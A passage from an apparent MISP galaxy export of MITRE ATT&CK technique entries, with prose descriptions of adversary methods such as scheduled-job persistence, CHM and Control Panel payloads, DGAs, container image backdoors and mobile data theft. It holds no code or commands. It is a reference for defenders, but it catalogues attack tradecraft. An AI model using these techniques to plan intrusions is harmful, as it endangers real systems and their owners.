Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.
at
The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.
launchd
Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.
The tag is: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168"
Control Panel Items - T1196
Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)
For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)
Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.
The tag is: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196"
Links |
https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx |
C2 protocol development - T1352
Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)
The tag is: misp-galaxy:mitre-attack-pattern="C2 protocol development - T1352"
Links |
Compiled HTML File - T1223
Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223"
Create implementation plan - T1232
Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)
The tag is: misp-galaxy:mitre-attack-pattern="Create implementation plan - T1232"
Links |
Determine operational element - T1242
If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Determine operational element - T1242"
Links |
Identify gap areas - T1225
Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)
The tag is: misp-galaxy:mitre-attack-pattern="Identify gap areas - T1225"
Links |
Map network topology - T1252
A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)
The tag is: misp-galaxy:mitre-attack-pattern="Map network topology - T1252"
Links |
Enumerate client configurations - T1262
Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)
The tag is: misp-galaxy:mitre-attack-pattern="Enumerate client configurations - T1262"
Links |
Identify business relationships - T1272
Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)
The tag is: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272"
Identify business relationships - T1272 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283" with estimative-language:likelihood-probability="almost-certain"
Links |
Determine physical locations - T1282
Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Determine physical locations - T1282"
Links |
Test signature detection - T1292
An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don’t publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)
The tag is: misp-galaxy:mitre-attack-pattern="Test signature detection - T1292"
Links |
Access Contact List - T1432
An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.
The tag is: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html |
Network Service Scanning - T1423
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device’s access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).
The tag is: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1423"
Links |
Evade Analysis Environment - T1523
Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering.
Adversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access android.os.SystemProperties
via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)
The tag is: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523"
Conduct passive scanning - T1253
Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)
The tag is: misp-galaxy:mitre-attack-pattern="Conduct passive scanning - T1253"
Links |
Fast Flux DNS - T1325
A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)
The tag is: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1325"
Links |
Domain registration hijacking - T1326
Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)
The tag is: misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326"
Links |
Mine social media - T1273
An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Mine social media - T1273"
Links |
Buy domain name - T1328
Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)
The tag is: misp-galaxy:mitre-attack-pattern="Buy domain name - T1328"
Links |
Identify business relationships - T1283
Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)
The tag is: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283"
Identify business relationships - T1283 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272" with estimative-language:likelihood-probability="almost-certain"
Links |
Fake Developer Accounts - T1442
An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Fake Developer Accounts - T1442"
Fake Developer Accounts - T1442 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
Links |
Conduct active scanning - T1254
Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Conduct active scanning - T1254"
Links |
System Information Discovery - T1426
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.
On Android, much of this information is programmatically accessible to applications through the android.os.Build class(Citation: Android-Build).
On iOS, techniques exist for applications to programmatically access this information(Citation: StackOverflow-iOSVersion).
The tag is: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"
Links |
Identify supply chains - T1246
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)
The tag is: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246"
Identify supply chains - T1246 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276" with estimative-language:likelihood-probability="almost-certain"
Links |
Domain Trust Discovery - T1482
Adversaries may attempt to gather information on domain trust relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008) opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178), [Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)
The tag is: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"
Links |
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ ] |
Exploit Enterprise Resources - T1428
Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device’s access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).
The tag is: misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html |
Conduct social engineering - T1249
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
The tag is: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249"
Conduct social engineering - T1249 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279" with estimative-language:likelihood-probability="almost-certain"
Links |
Stored Data Manipulation - T1492
Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
The tag is: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492"
Links |
https://www.justice.gov/opa/press-release/file/1092091/download |
Implant Container Image - T1525
Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored to include malicious code. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a web shell.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud)
The tag is: misp-galaxy:mitre-attack-pattern="Implant Container Image - T1525"
Links |
https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/ |
Cloud Service Discovery - T1526
An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ depending on if it’s platform-as-a-service (PaaS), infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many different services exist throughout the various cloud providers and can include continuous integration and continuous delivery (CI/CD), Lambda Functions, Azure AD, etc. Adversaries may attempt to discover information about the services enabled throughout the environment.
Pacu, an open source AWS exploitation framework, supports several methods for discovering cloud services.(Citation: GitHub Pacu)
The tag is: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"
Links |
Identify supply chains - T1265
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)
The tag is: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265"
Identify supply chains - T1265 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246" with estimative-language:likelihood-probability="almost-certain"
Links |
Application Access Token - T1527
Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.
Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)
For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
The tag is: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527"
Determine firmware version - T1258
Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)
The tag is: misp-galaxy:mitre-attack-pattern="Determine firmware version - T1258"
Links |
Identify supply chains - T1276
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)
The tag is: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276"
Identify supply chains - T1276 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265" with estimative-language:likelihood-probability="almost-certain"
Links |
Conduct social engineering - T1268
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
The tag is: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268"
Conduct social engineering - T1268 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249" with estimative-language:likelihood-probability="almost-certain"
Links |
Assess targeting options - T1296
An adversary may assess a target’s operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)
The tag is: misp-galaxy:mitre-attack-pattern="Assess targeting options - T1296"
Links |
Analyze data collected - T1287
An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze data collected - T1287"
Links |
Conduct social engineering - T1279
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
The tag is: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279"
Conduct social engineering - T1279 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249" with estimative-language:likelihood-probability="almost-certain"
Links |
Access Call Log - T1433
On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.
On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.
The tag is: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html |
Create backup infrastructure - T1339
Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)
The tag is: misp-galaxy:mitre-attack-pattern="Create backup infrastructure - T1339"
Links |
Remotely Install Application - T1443
An adversary with control of a target’s Google account can use the Google Play Store’s remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.
Platforms: Android
The tag is: misp-galaxy:mitre-attack-pattern="Remotely Install Application - T1443"
Remotely Install Application - T1443 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
Links |
Abuse Accessibility Features - T1453
This technique has been deprecated by [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411).
A malicious app could abuse Android’s accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)
Adversaries may abuse accessibility features on Android to emulate a user’s clicks, for example to steal money from a user’s bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)
Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the "Back" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)
The tag is: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453"
Access Calendar Entries - T1435
An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.
The tag is: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html |
Create custom payloads - T1345
A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)
The tag is: misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345"
Links |
Manipulate Device Communication - T1463
If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).
The tag is: misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html |
Commonly Used Port - T1436
Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.
They may use commonly open ports such as
-
TCP:80 (HTTP)
-
TCP:443 (HTTPS)
-
TCP:25 (SMTP)
-
TCP/UDP:53 (DNS)
They may use the protocol associated with the port or a completely different protocol.
The tag is: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1436"
Links |
Domain Generation Algorithms - T1483
Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)
Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
The tag is: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483"
Alternate Network Mediums - T1438
Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.
The tag is: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html |
Transmitted Data Manipulation - T1493
Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
The tag is: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493"
Links |
https://www.justice.gov/opa/press-release/file/1092091/download |
Revert Cloud Instance - T1536
An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be easily facilitated using restoration from VM or data storage snapshots through the cloud management dashboard. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the latter types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
The tag is: misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1536"
Links |
https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots |
Test callback functionality - T1356
Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)
The tag is: misp-galaxy:mitre-attack-pattern="Test callback functionality - T1356"
Links |
Cloud Service Dashboard - T1538
An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)
Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.
The tag is: misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538"
Links |
https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard |
Disseminate removable media - T1379
Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)
The tag is: misp-galaxy:mitre-attack-pattern="Disseminate removable media - T1379"
Links |
Spearphishing for Information - T1397
Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn’t leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)
The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing for Information - T1397"
Links |
Malicious SMS Message - T1454
An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).
An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.
As described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Malicious SMS Message - T1454"
Links |
Supply Chain Compromise - T1474
As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.
Related PRE-ATT&CK techniques include:
-
[Identify vulnerabilities in third-party software libraries](https://attack.mitre.org/techniques/T1389) - Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).
-
[Distribute malicious software development tools](https://attack.mitre.org/techniques/T1394) - As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.
The tag is: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html |
Delete Device Data - T1447
An adversary could wipe the entire device contents or delete specific files. A malicious application could obtain and abuse Android device administrator access to wipe the entire device.(Citation: Android DevicePolicyManager 2019) Access to external storage directories or escalated privileges could be used to delete individual files.
The tag is: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447"
Links |
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html |
Group Policy Modification - T1484
Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain.
